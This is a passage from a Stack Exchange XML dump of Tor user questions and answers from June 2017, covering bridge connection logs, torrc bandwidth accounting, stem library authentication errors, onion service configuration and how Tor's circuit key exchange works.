83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:17.000 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:17.000 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:17.000 [WARN] Proxy Client: unable to connect to 154.35.22.13:16815 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:34:18.000 [NOTICE] new bridge descriptor 'cymrubridge31' (fresh): $1LXj6eGGMY2YTsF6JQWgr4q8U97D4k3v9Z~cymrubridge31 at 38.229.1.78 &#xA;19.06.2017 12:34:18.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We're missing descriptors for some of our primary entry guards &#xA;19.06.2017 12:34:18.400 [NOTICE] new bridge descriptor 'cymrubridge33' (fresh): $1LXj6eGGMY2YTsF6JQWgr4q8U97D4k3v9Z~cymrubridge33 at 38.229.33.83 &#xA;19.06.2017 12:34:18.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We're missing descriptors for some of our primary entry guards &#xA;19.06.2017 12:34:18.400 [WARN] Proxy Client: unable to connect to 37.218.240.34:40035 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:35:01.500 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:35:01.500 [WARN] Proxy Client: unable to connect to 154.35.22.10:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:35:01.600 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:35:01.700 [WARN] Proxy Client: unable to connect to 192.95.36.142:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:35:01.700 [WARN] Proxy Client: unable to connect to 154.35.22.11:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:35:01.700 [WARN] Proxy Client: unable to connect to 154.35.22.9:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:35:16.400 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:07.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;19.06.2017 12:36:07.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19.06.2017 12:36:07.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;19.06.2017 12:36:07.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;19.06.2017 12:36:17.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19.06.2017 12:36:17.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19.06.2017 12:36:17.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19.06.2017 12:36:17.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;19.06.2017 12:36:24.400 [WARN] Proxy Client: unable to connect to 2001:470:b381:bfff:216:3eff:fe23:d6c3:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:24.400 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:24.400 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:24.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:24.900 [WARN] Proxy Client: unable to connect to 2001:470:b381:bfff:216:3eff:fe23:d6c3:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:24.900 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:24.900 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:25.000 [WARN] Proxy Client: unable to connect to 2001:470:b381:bfff:216:3eff:fe23:d6c3:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:25.000 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:25.000 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:25.000 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:25.000 [NOTICE] Bridge 'NX01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (85.17.30.79:443) based on the configured Bridge address. &#xA;19.06.2017 12:36:25.000 [NOTICE] new bridge descriptor 'NX01' (fresh): $1LXj6eGGMY2YTsF6JQWgr4q8U97D4k3v9Z~NX01 at 85.17.30.79 &#xA;19.06.2017 12:36:25.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We're missing descriptors for some of our primary entry guards &#xA;19.06.2017 12:36:26.400 [WARN] Proxy Client: unable to connect to 37.218.240.34:40035 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:36:45.400 [WARN] Proxy Client: unable to connect to 154.35.22.12:4304 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:09.500 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:09.500 [WARN] Proxy Client: unable to connect to 154.35.22.10:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:09.600 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:09.700 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:24.400 [WARN] Proxy Client: unable to connect to 154.35.22.11:80 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:24.400 [WARN] Proxy Client: unable to connect to 154.35.22.9:80 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:24.400 [WARN] Proxy Client: unable to connect to 38.229.1.78:80 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:37:24.400 [WARN] Proxy Client: unable to connect to 38.229.33.83:80 (&quot;general SOCKS server failure&quot;) &#xA;19.06.2017 12:38:22.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;19.06.2017 12:38:22.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;19.06.2017 12:38:22.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;19.06.2017 12:38:23.100 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17978" LastEditorUserId="12737" LastEditDate="2017-06-19T10:02:53.287" LastActivityDate="2017-06-19T10:02:53.287" Title="“Tor failed to establish a Tor network connection” after update" Tags="|update|connection|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15068" PostTypeId="2" ParentId="14968" CreationDate="2017-06-19T11:16:18.920" Score="2" Body="&lt;p&gt;The configuration file &lt;code&gt;torrc&lt;/code&gt; has an option &lt;code&gt;AccountingMax&lt;/code&gt;. It is used to set the maximum number of bytes a relay can send and receive:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AccountingMax N&lt;br&gt;&#xA;    bytes|KBytes|MBytes|GBytes|KBits|MBits|GBits|TBytes&lt;br&gt;&#xA;     Limits the max number of bytes sent and received within a set time period using a given calculation rule (see: AccountingStart, AccountingRule). Useful if you need to stay under a specific bandwidth. By default, the number used for calculation is the max of either the bytes sent or received. For example, with AccountingMax set to 1 GByte, a server could send 900 MBytes and receive 800 MBytes and continue running. It will only hibernate once one of the two reaches 1 GByte. This can be changed to use the sum of the both bytes received and sent by setting the AccountingRule option to &quot;sum&quot; (total bandwidth in/out). When the number of bytes remaining gets low, Tor will stop accepting new connections and circuits. When the number of bytes is exhausted, Tor will hibernate until some time in the next accounting period. To prevent all servers from waking at the same time, Tor will also wait until a random point in each period before waking up. If you have bandwidth cost issues, enabling hibernation is preferable to setting a low bandwidth, since it provides users with a collection of fast servers that are up some of the time, which is more useful than a set of slow servers that are always &quot;available&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you remove or comment out &lt;code&gt;AccountingMax&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; and restart Tor, it should use all the bandwidth it can.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-06-19T11:16:18.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15069" PostTypeId="2" ParentId="15010" CreationDate="2017-06-19T11:23:13.940" Score="1" Body="&lt;p&gt;You can use whatever CSS framework you want. Tor will happily deliver it. I just tried to open &lt;a href=&quot;https://www.facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.facebookcorewwwi.onion/&lt;/a&gt; which is the Onion Service of Facebook. The page had roughly 1.6 MB in size and it took 30 s to load it. Theoretically YouTube could also decide to run a Onion Service and serve videos of that line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;@canonizing ironize&lt;/a&gt; wrote &lt;a href=&quot;https://tor.stackexchange.com/questions/15010/hidden-service-with-bootstrap-3#comment16797_15010&quot;&gt;in the comment&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor is agnostic to the content served over it. […]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-06-19T11:23:13.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15072" PostTypeId="1" AcceptedAnswerId="15087" CreationDate="2017-06-19T21:29:44.593" Score="1" ViewCount="1080" Body="&lt;p&gt;I'm writing a little program trying to connect to Tor (v0.2.9.10) using the stem library (v1.5.4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken inspiration from this page : &lt;a href=&quot;https://stem.torproject.org/api/control.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/api/control.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now it looks like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;from __future__ import print_function&#xA;import os&#xA;import sys&#xA;import getpass&#xA;import stem.connection&#xA;import stem.socket&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;  try:&#xA;    controller = stem.control.Controller.from_port()&#xA;  except stem.SocketError as exc:&#xA;    print(&quot;Unable to connect to tor on port 9051: %s&quot; % exc)&#xA;    sys.exit(1)&#xA;&#xA;  try:&#xA;    controller.authenticate()&#xA;  except stem.connection.MissingPassword:&#xA;    try:&#xA;      pw = os.environ['torpassword']&#xA;    except KeyError:&#xA;      print(&quot;Please configure the 'torpassword' environment variable&quot;, file=sys.stderr)&#xA;      sys.exit(1)&#xA;&#xA;    try:&#xA;      controller.authenticate(password = pw)&#xA;    except stem.connection.PasswordAuthFailed:&#xA;      print(&quot;Unable to authenticate, password is incorrect&quot;)&#xA;      sys.exit(1)&#xA;  except stem.connection.AuthenticationFailure as exc:&#xA;    print(&quot;Unable to authenticate: %s&quot; % exc)&#xA;    sys.exit(1)&#xA;&#xA;  print(&quot;Tor is running version %s&quot; % controller.get_version())&#xA;  controller.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the right password is given, it works, it displays the Tor version as it's supposed to do.&#xA;When there's no password I get the message I'm expecting : Please configure the 'torpassword' environment variable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I'm trying with wrong passwords to see how it reacts, but I get different messages everytime and I'm bit confused about that.&#xA;For example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[dev@l]#$ torpassword=test ./test.py &#xA;Traceback (most recent call last):&#xA;  File &quot;./test.py&quot;, line 28, in &amp;lt;module&amp;gt;&#xA;    controller.authenticate(password = pw)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/control.py&quot;, line 1071, in authenticate&#xA;    stem.connection.authenticate(self, *args, **kwargs)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/connection.py&quot;, line 618, in authenticate&#xA;    raise auth_exc&#xA;stem.connection.AuthenticationFailure: Received empty socket content.&#xA;[dev@l]$ torpassword=test ./test.py &#xA;Traceback (most recent call last):&#xA;  File &quot;./test.py&quot;, line 28, in &amp;lt;module&amp;gt;&#xA;    controller.authenticate(password = pw)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/control.py&quot;, line 1071, in authenticate&#xA;    stem.connection.authenticate(self, *args, **kwargs)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/connection.py&quot;, line 618, in authenticate&#xA;    raise auth_exc&#xA;stem.connection.AuthenticationFailure: [Errno 104] Connection reset by peer&#xA;[dev@l]$ torpassword=test ./test.py &#xA;Traceback (most recent call last):&#xA;  File &quot;./test.py&quot;, line 28, in &amp;lt;module&amp;gt;&#xA;    controller.authenticate(password = pw)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/control.py&quot;, line 1071, in authenticate&#xA;    stem.connection.authenticate(self, *args, **kwargs)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/connection.py&quot;, line 618, in authenticate&#xA;    raise auth_exc&#xA;stem.connection.AuthenticationFailure: [Errno 104] Connection reset by peer&#xA;[dev@l]$ torpassword=test ./test.py &#xA;Traceback (most recent call last):&#xA;  File &quot;./test.py&quot;, line 28, in &amp;lt;module&amp;gt;&#xA;    controller.authenticate(password = pw)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/control.py&quot;, line 1071, in authenticate&#xA;    stem.connection.authenticate(self, *args, **kwargs)&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/connection.py&quot;, line 618, in authenticate&#xA;    raise auth_exc&#xA;stem.connection.AuthenticationFailure: [Errno 104] Connection reset by peer&#xA;[dev@l]$ torpassword=test ./test.py &#xA;Unable to authenticate, password is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my opinion the last message should be the one I get all the time.&#xA;Is it a problem in the Tor server ? Not handling a wrong password the right way ? (not so likely in my opinion)&#xA;Is it a problem with the stem library ? (could be, but I doubt it)&#xA;Is it a problem with my code ? (much more likely, but I can't see why)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&#xA;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#&#xA;Edit following canonizing ironize answer :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try creating a new controller before the second attempt to authenticate, I did try to use the reconnect method&#xA;Finally I tried to only let the second authenticate part alone.&#xA;All these produced no effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#&#xA;Edit 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;from __future__ import print_function&#xA;import os&#xA;import sys&#xA;import getpass&#xA;import stem.connection&#xA;import stem.socket&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;  try:&#xA;    controller = stem.control.Controller.from_port()&#xA;  except stem.SocketError as exc:&#xA;    print(&quot;Unable to connect to tor on port 9051: %s&quot; % exc)&#xA;    sys.exit(1)&#xA;&#xA;  try:&#xA;    try:&#xA;      controller.authenticate(password = &quot;test&quot;)&#xA;    except stem.connection.PasswordAuthFailed:&#xA;      print(&quot;Unable to authenticate, password is incorrect&quot;)&#xA;      sys.exit(1)&#xA;  except stem.connection.AuthenticationFailure as exc:&#xA;    print(&quot;Unable to authenticate: %s&quot; % exc)&#xA;    sys.exit(1)&#xA;&#xA;  print(&quot;Tor is running version %s&quot; % controller.get_version())&#xA;  controller.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even a simpler piece of code like this one, with an obvious wrong password show different results when called.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[dev@l]$ ./test2.py &#xA;Unable to authenticate: [Errno 104] Connection reset by peer&#xA;Exception in thread Event Notifier (most likely raised during interpreter shutdown):&#xA;Traceback (most recent call last):&#xA;  File &quot;/usr/lib64/python2.7/threading.py&quot;, line 811, in __bootstrap_inner&#xA;  File &quot;/usr/lib64/python2.7/threading.py&quot;, line 764, in run&#xA;  File &quot;/usr/lib/python2.7/site-packages/stem/control.py&quot;, line 958, in _event_loop&#xA;  File &quot;/usr/lib64/python2.7/threading.py&quot;, line 621, in wait&#xA;  File &quot;/usr/lib64/python2.7/threading.py&quot;, line 332, in wait&#xA;&amp;lt;type 'exceptions.TypeError'&amp;gt;: 'NoneType' object is not callable&#xA;[dev@l]$ ./test2.py &#xA;Unable to authenticate: [Errno 104] Connection reset by peer&#xA;[dev@l]$ ./test2.py &#xA;Unable to authenticate: [Errno 104] Connection reset by peer&#xA;[dev@l]$ ./test2.py &#xA;Unable to authenticate: [Errno 104] Connection reset by peer&#xA;[dev@l]$ ./test2.py &#xA;Unable to authenticate: Received empty socket content.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15024" LastEditorUserId="15024" LastEditDate="2017-06-20T14:13:56.787" LastActivityDate="2017-06-21T05:33:09.170" Title="Tor and stem library : non consistent error message with wrong password" Tags="|stem|authentication|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15074" PostTypeId="1" CreationDate="2017-06-20T02:17:26.350" Score="1" ViewCount="3819" Body="&lt;p&gt;Every time since last night when I try to launch TOR I get &quot;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&quot; Restarting TOR does nothing. It just keeps happening no matter what I do. How is this fixed?   &lt;/p&gt;&#xA;" OwnerUserId="17992" LastEditorUserId="17992" LastEditDate="2017-06-20T04:52:59.573" LastActivityDate="2024-02-04T21:06:20.787" Title="Tor Won't Launch" Tags="|configuration|windows|help|onion-routing|error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15075" PostTypeId="2" ParentId="14996" CreationDate="2017-06-20T12:03:25.740" Score="1" Body="&lt;p&gt;The configuration of your Tor Onion Service and of your webserver are two separate things. When you want to start a Tor Onion Service you&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;configure your webserver. That especially means set up a document root. This is the directory where the files live that your webserver should serve.&lt;/li&gt;&#xA;&lt;li&gt;configure Tor as Tor Onion Service. Here you set the option for the hidden service directory. This directory should live outside of your document root and &lt;em&gt;not&lt;/em&gt; be accessible by the webserver.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So in your example the directory &lt;code&gt;tor_hidden_service&lt;/code&gt; lives inside the document root and thus the webserver displays it. Just move it to another place in your filesystem and re-configure Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-06-20T12:03:25.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15077" PostTypeId="1" CreationDate="2017-06-20T14:04:14.657" Score="1" ViewCount="274" Body="&lt;p&gt;I write a linux application for exchanging voice messages over Tor (via TCP). I would start my program like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks my_program --connect abcdabcdabcdabcd5.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there some way my program (written in C) can check that environment is torifyed? I wish my program print warning message when it try to resolve .onion domain without torsocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!getenv(&quot;LD_PRELOAD&quot;)) printf(&quot;LD_PRELOAD is %s\n&quot;, getenv(&quot;LD_PRELOAD&quot;));&#xA;else printf(&quot;LD_PRELOAD is not set\n&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the torifyed shell it returns &quot;LD_PRELOAD is not set&quot;, and in normal shell it returns &quot;LD_PRELOAD is (null)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry my bad english)&lt;/p&gt;&#xA;" OwnerUserId="17997" LastActivityDate="2017-06-20T14:04:14.657" Title="How to check is my application using Tor?" Tags="|torsocks|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15078" PostTypeId="2" ParentId="13252" CreationDate="2017-06-20T15:10:06.307" Score="1" Body="&lt;p&gt;Try removing this. Because once the Socket is set the controller cannot change it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem import Signal&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9151) as controller:&#xA;    controller.authenticate()&#xA;    controller.signal(Signal.NEWNYM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want to use it for changing identity every time you run the python file use it at the beginning after the imports like shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socks  # SocksiPy module&#xA;import socket&#xA;import requests&#xA;&#xA;from stem import Signal&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9151) as controller:&#xA;    controller.authenticate()&#xA;    controller.signal(Signal.NEWNYM)&#xA;&#xA;SOCKS_PORT = 9150&#xA;&#xA;# Set socks proxy and wrap the urllib module&#xA;&#xA;socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT)&#xA;socket.socket = socks.socksocket&#xA;&#xA;def getaddrinfo(*args):&#xA;  return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]&#xA;&#xA;socket.getaddrinfo = getaddrinfo&#xA;&#xA;url = &quot;http://google.com&quot;&#xA;&#xA;print requests.get(url).elapsed.total_seconds()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/PSNAppz/TorBoT&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10366" LastEditorUserId="10366" LastEditDate="2017-06-20T15:16:08.843" LastActivityDate="2017-06-20T15:16:08.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15080" PostTypeId="1" CreationDate="2017-06-20T20:22:00.373" Score="2" ViewCount="641" Body="&lt;p&gt;I'm trying to understand exactly how Tor builds a circuit with encryption. I've read the &lt;a href=&quot;https://www.onion-router.net/Publications/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design literature&lt;/a&gt; and have a pretty good grasp on it, however I'm left with the following misunderstanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Alice, the client, goes to build her circuit, she will choose a node, say Bob, from the list of nodes distributed by Tor. She will find Bob's corresponding &quot;onion key&quot;, which is I believe a public 1,024 bit RSA key (please correct me if I'm wrong). Alice generates the first half of a Diffe-Hellman key exchange, encrypts it with Bob's onion key then sends it to Bob, who decrypts it, generates his half of the DHKE and sends this to Alice along with a hash of the new symmetric key which they will use to encrypt future messages, which is known as a &quot;session key&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1&lt;/strong&gt;: Does Bob send this message back to Alice in plaintext? I know that by nature of a DHKE even if an eavesdropper obtains Bob's half of the exchange he still cannot determine the secret key so I'm not sure if there is a need for encryption from Bob back to Alice at this point but if so, what type of encryption is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if my understanding of the Tor encryption model is way off or there are any errors in my explanations, please let me know, if you can. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="18001" LastEditorUserId="18001" LastEditDate="2017-06-20T22:09:54.050" LastActivityDate="2017-06-21T03:14:55.993" Title="Tor encryption combination" Tags="|circuit|encryption|guard-node|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15081" PostTypeId="2" ParentId="15054" CreationDate="2017-06-20T20:52:26.987" Score="0" Body="&lt;p&gt;If I understand you correctly, you're sniffing the connection between your computer and the guard node. This doesn't make you less anonymous, because you know that you use this guard node and if any attacker watches your connection Wireshark doesn't play a role in what he can see or not see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different guard nodes use different ports. Wireshark looks at your &lt;code&gt;/etc/services&lt;/code&gt; file (or an equivalent) to map the port number to a name. This is what you see in Wireshark. However if it prints POP, it is not really a POP connection, but just a TCP connection. So it doesn't matter what is printed there. It is just an information about what port is used.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-06-20T20:52:26.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15085" PostTypeId="2" ParentId="15080" CreationDate="2017-06-21T00:23:37.547" Score="1" Body="&lt;p&gt;Here is the design document for tor's next generation onion service. The paper that you linked to is outdated. The next generation onion service is expected to launch with 0.3.2 around December 15, 2017.&#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt&lt;/a&gt;&#xA;Also here is Tor Protocol Specification.&#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&lt;/a&gt;&#xA;onion-routerdotnet site is 12 years outdated, use tor's updated site's above&lt;/p&gt;&#xA;" OwnerUserId="18003" LastEditorUserId="18003" LastEditDate="2017-06-21T00:51:02.220" LastActivityDate="2017-06-21T00:51:02.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15086" PostTypeId="2" ParentId="15080" CreationDate="2017-06-21T03:14:55.993" Score="1" Body="&lt;p&gt;Tor uses RSA keys as identity keys (except for &lt;code&gt;.onion&lt;/code&gt; services, for the time being).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For exchanging secret key material Tor uses an ephemeral key exchange method, either TAP (old, DHE) or nTor (new, ECDHE). In {EC,}DH{,E} both parties exchange only public keys over the wire. Without knowledge of either of the secret keys, the shared secret cannot be recreated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RSA keys are for identity verification (I.E. Alice knows Bob is really Bob) and Alice knows that the RSA key she has for Bob is correct because the Directory Authorities attested to it. Alice knows the keys she has for the Directory Authorities is correct because they are hardcoded into Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A passive attacker can see both public keys and still cannot discover the shared secret. An active attacker could try to replace part of the handshake but they would not be able to forge a signature for it using Bob's identity key. Bob doesn't have to verify Alice, only that he performed a key exchange with &lt;em&gt;someone&lt;/em&gt;. Alice on the other hand needs to make sure she is definitely talking to the Bob she expects to, so she has a strong requirement to verify his identity.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-21T03:14:55.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15087" PostTypeId="2" ParentId="15072" CreationDate="2017-06-21T05:33:09.170" Score="0" Body="&lt;p&gt;There is a bug in the stem library that is the cause of this issue, I reported it there : &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/22679&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/22679&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15024" LastActivityDate="2017-06-21T05:33:09.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15091" PostTypeId="1" CreationDate="2017-06-21T10:30:48.143" Score="2" ViewCount="635" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[warn] http status 400 (&quot;Fingerprint is marked rejected -- please contact us?&quot;) response from dirserver '171.25.193.9:443'. Please correct.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's what I got in tor logs after starting new exit node on fresh VPS.&#xA;3 days passed but Atlas shows it offline.&#xA;What should I do to make it work?&lt;/p&gt;&#xA;" OwnerUserId="18012" LastEditorUserId="88" LastEditDate="2017-06-23T20:58:30.400" LastActivityDate="2017-07-23T22:01:28.700" Title="Fingerprint is marked rejected" Tags="|exit-relays|log|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
